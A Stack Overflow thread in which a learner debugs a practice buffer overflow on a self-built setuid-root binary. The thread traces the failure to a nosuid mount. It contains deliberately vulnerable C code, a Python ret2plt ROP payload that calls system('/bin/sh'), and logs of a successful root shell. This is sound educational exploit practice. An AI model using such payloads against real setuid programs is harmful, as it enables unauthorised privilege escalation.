6

I have been following a few tutorials on bufferoverflow exploitation. But my problem is, that I am not able to open a root shell, I will always get a normal user shell instead. I have checked the following points

I re-verified the following items but still I could not achieve an actual root shell:

  • I properly set the owner of the binary to root and also set the s flag (check)
  • I have verified that the exploit I use is working properly, the correct adresses for system@plt and exit@plt are used and the values are proper loaded into rdi via pop rdi;ret; segments; I do get a shell after all but not a root shell as expected; (check)
  • I heard that nowadays dash and bash do drop privileges and that linking /bin/sh to /bin/zsh will help, but this didnt help me; still getting non root shell (check, approach did not work for me)
  • i also tried to call setuid(0) and seteuid(0) for testing in the binary. still no root shell; (check, didn't work for me)
  • I also saw that some people set /proc/sys/kernel/yama/ptrace_scope to 0 (see post here)see post here, but that's not the case for me (value is set to 1 and I never touched that) (check, my value is set to 1 and that should be ok)
  • I am using linux mint 18.1 serena, maybe there is an additional security feature here that drops privileges and prevents a root-shell?
  • see my c code and exploit python script below for reference (vulnerability is in function vuln()); the function shell() is just to have the addresses to the corresponding @plt functions available (this is just for exercising and playing around)
  • I use 'gcc -fno-stack-protector -o ghost ghost.c' to compile the binary to avoid stack canaries

Does someone have an idea what the problem might be? Why I still wont get a root shell?

Thanks in advance for any advice and hints. Best Zaphoxx

the vulnerable c code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/bin/sh");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    printf("[+] input: ");
    l=read(0,buf,128);
    printf("[+] recv: ");
    write(1,buf,l);
    return 0;
}

int main(){
    //setbuf(stdout,0);
    setuid(0);
    seteuid(0);
    vuln();
    return 0;
}

python exploit script to create payload:

#!/usr/bin/python
from struct import *
from subprocess import call

poprdi=0x4007e3#pop rdi;ret;
system_plt=0x400560#address of system@plt
exit_plt=0x4005a0#address of exit@plt
shell=0x400804#address of '/bin/sh'
buf=b''
buf+=bytearray("A","utf-8")*24
buf+=pack("<Q",poprdi)
buf+=pack("<Q",shell)
buf+=pack("<Q",system_plt)
buf+=pack("<Q",poprdi)
buf+=pack("<Q",0)
buf+=pack("<Q",exit_plt)

with open("pwn","w") as p:
    p.write(buf)

screenshot from ls -l

EDIT UPDATE:

so I retried as suggested to call execve() in a small binary directly instead of using the vulnerable binary, just to check if that would open a root shell:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ vim shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ gcc -fno-stack-protector -o shell shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ sudo chown root:root shell ; sudo chmod 4755 shell
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll shell
-rwsr-xr-x 1 root root 8608 Oct 17 21:29 shell*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./shell
$ id                                                                           
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
$ whoami                                                                       
zaphoxx
$ exit                                                                         
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat shellcode.c
#include <stdio.h>
#include <unistd.h>

int main(){
    char *name[2];
    name[0]="/bin/sh";
    name[1]=NULL;
    execve(name[0],name,NULL);
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $

So it does not open a root shell;

I did link /bin/sh to /bin/zsh as has been suggested in other posts, see here:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll $(which sh)
lrwxrwxrwx 1 root root 12 Oct 15 22:09 /bin/sh -> /usr/bin/zsh*
zaphoxx@zaphoxx ~/github/ghostInTheShell $

As suggested by Peter I did use '/usr/bin/id' instead as argument for system in my exploit to check but the result was the same as expected:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./ghost < pwn
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
[+] recv: AAAAAAAAHzaphoxx@zaphoxx ~/github/ghostInTheShell $ ll ./ghost
-rwsr-xr-x 1 root root 8816 Oct 17 22:25 ./ghost*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ 

zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat ghost.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/usr/bin/id");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    l=read(0,buf,128);
    printf("[+] recv: %s",buf);
    //write(1,buf,l);
    return 0;
}

int main(){
    //shell();
    //setbuf(stdout,0);
    //setuid(0);
    //seteuid(0);
    vuln();
    return 0;
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $ 

UPDATE: I got a good hint from K.A.Buhr to check /proc/mounts for nosuid entries and:

zaphoxx@zaphoxx ~ $ cat /proc/mounts | grep zaphoxx
/home/zaphoxx/.Private /home/zaphoxx ecryptfs rw,nosuid,nodev,relatime

So this seems to be the cause of my issues. How would I change that the right way or how can I temporarily deactivate nosuid so I can test the exploit(s) ?

Zapho Oxx
  • 275
  • 1
  • 16
  • 1
    You say you set the "s flag". Are you sure you got the right flag? It sounds like you might have set the sticky bit or something. – user2357112 Oct 16 '17 at 21:05
  • Also, your "vulnerable c code" doesn't actually reach the buffer overflow vulnerability; it just unconditionally launches a shell and exits after the shell does. – user2357112 Oct 16 '17 at 21:07
  • i did set the flag using 'sudo chmod 4755 ghost' which will give me rwsr-xr-x; that should be the correct thing; – Zapho Oxx Oct 16 '17 at 21:11
  • I posted the wrong code. sorry for that. the call for shell() was pure desperation; in desperation i tested to open a shell by just calling the function shell(); this also gives me a user shell only, even if the binary's owner is root and has the s flag set. in the current seen code the function vuln() contains the vulnerability. – Zapho Oxx Oct 16 '17 at 21:13
  • Hi all, I re-verified above listed items to make really really sure I got everything covered. So why wont I still not get a root shell. Is there a security measure in place that I am missing? Any advice or help would be greatly appreciated! thx zaphoxx – Zapho Oxx Oct 17 '17 at 08:14
  • 2
    Post `ls -l` output for your binary, just to double-check that it has the setuid bit set in its permissions. – Peter Cordes Oct 17 '17 at 14:27
  • sure, will do once I'm back at home, currently still at work.Though I'm pretty it is alright as it will show -rwsr-xr-x root:root which should be correct. But to make sure I'll repost later today, no worries. See screenshot of ls -l output here : https://i.stack.imgur.com/0m7xG.png – Zapho Oxx Oct 17 '17 at 14:37
  • just to be clear this screenshot is from another binary I'm working on. but the result looks the same. will still double check later today with the actual binary to remove any further doubts ;) – Zapho Oxx Oct 17 '17 at 14:46
  • You know you can copy/paste text from a terminal, right? That's better than an image. But yes, `rws` for owner with owner=root looks correct to me. – Peter Cordes Oct 17 '17 at 14:49
  • What happens if you run `execve` directly, instead of going through `system()`? (Just code it in C, no need to mess around with an exploit. Once you can write a C program that will give you a root shell if run as SUID-root, then worry about producing that behaviour with an exploit.) – Peter Cordes Oct 17 '17 at 14:52
  • @Peter, I did try to use execve() directly instead. But it did show the same result. I did do the same on an older 32bit ubuntu version. there everything works fine. so I guess with the current one the privileges are dropped for some reason ... – Zapho Oxx Oct 17 '17 at 14:52
  • How did you check that your shell was not a root shell? Just looking at the prompt? Are you sure UID vs. EUID stuff isn't affecting that? Or did you actually `echo foo > /root/foo` and get EPERM? – Peter Cordes Oct 17 '17 at 14:53
  • 1
    Probably interesting to try `strace -o trace.log -f /bin/sh` as the command you run from `system`, or `strace` your SUID binary. (I forget if strace changes the behaviour of an SUID executable...) Or try `/usr/bin/id` or something to check that you can run something simple as root. (Or even just `/bin/touch /root/i_was_root`) – Peter Cordes Oct 17 '17 at 14:55
  • ok, will try that later today and post the result here. thanks for your help. – Zapho Oxx Oct 17 '17 at 14:57
  • @Peter, so I added in my post the execve() call in a simple small binary with all the output and checks. As you can see it will open a shell but checking 'id' and/or 'whoami' it clearly still shows zaphoxx as user and not as expected 'root' even though the s flag is set. /bin/sh is linked to /bin/zsh. – Zapho Oxx Oct 17 '17 at 19:44
  • @Peter, if I use '/usr/bin/id' instead as argument for the system in my exploit I will get the current users id; `zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./ghost < pwn; uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare) [+] recv: AAAAAAAAHzaphoxx@zaphoxx ~/github/ghostInTheShell $ ll ./ghost -rwsr-xr-x 1 root root 8816 Oct 17 22:25 ./ghost* zaphoxx@zaphoxx ~/github/ghostInTheShell $ ' ;` as you can see the exploit itself seems ok; – Zapho Oxx Oct 17 '17 at 20:32
  • 3
    You may want to check the output of `cat /proc/mounts` to see if your home directory is mounted `nosuid`. This will cause the setuid flag to be ignored. – K. A. Buhr Oct 17 '17 at 21:15
  • @K.A.Buhr, oh boy, so it is nosuid. `cat /proc/mounts | grep zaphoxx /home/zaphoxx/.Private /home/zaphoxx ecryptfs rw,nosuid,`; so how would I go about to change that (temporarily), so I can test the exploit? – Zapho Oxx Oct 17 '17 at 22:01
  • 1
    Probably easiest to just work somewhere else, like `/usr/local/src/ghostInTheShell`. Or copy just the binary somewhere onto a filesystem mounted without `nosuid`. Maybe with a symlink from your source directory. – Peter Cordes Oct 17 '17 at 23:56
  • @Peter,@K.A.Buhr, thanks for your support guys. Everything works now as expected. wooohoooo! – Zapho Oxx Oct 18 '17 at 10:33

1 Answers1

3

Thanks to everybody for the help provided. Special thanks to K.A.Buhr who provided the right hint.

In /proc/mounts there is multiple entries for folders/filesystem that do have a nosuid flag. That prevented the exploit to open up a root shell as the binary I tried to exploit was in such a folder with nosuid flag.

I moved the binary to /usr/local/src/ghostInTheShell and created a symlink from the original folder to the new one (without nosuid flag).

running the exploit in there everything works as expected. thanks everybody. See results below:

zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ gcc -fno-stack-protector -o ghost ghost.c ; sudo chown root:root ghost ; sudo chmod 4755 ghost; ll ./ghost;
-rwsr-xr-x 1 root root 8816 Oct 18 12:22 ./ghost*
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ ( cat pwn ; cat ) | ./ghost
ls
exp.py   ghost.py   in.txt  peda-session-dash.txt     sexecve.log
fish     ghost.py~  leak    peda-session-ghost.txt    shell
fish.c   gits       leak.c  peda-session-lib2plt.txt  shellcode.c
fish.c~  gits.c     lib2plt pwn
ghost    gits.o     lib2plt.c   pwn.py
ghost.c  in.text    libtest.so  r2lib-addresses
whoami
**root**
id
uid=1000(zaphoxx) gid=1000(zaphoxx) **euid=0(root)** groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
exit
[+] recv: AAAAAAAAH
Zapho Oxx
  • 275
  • 1
  • 16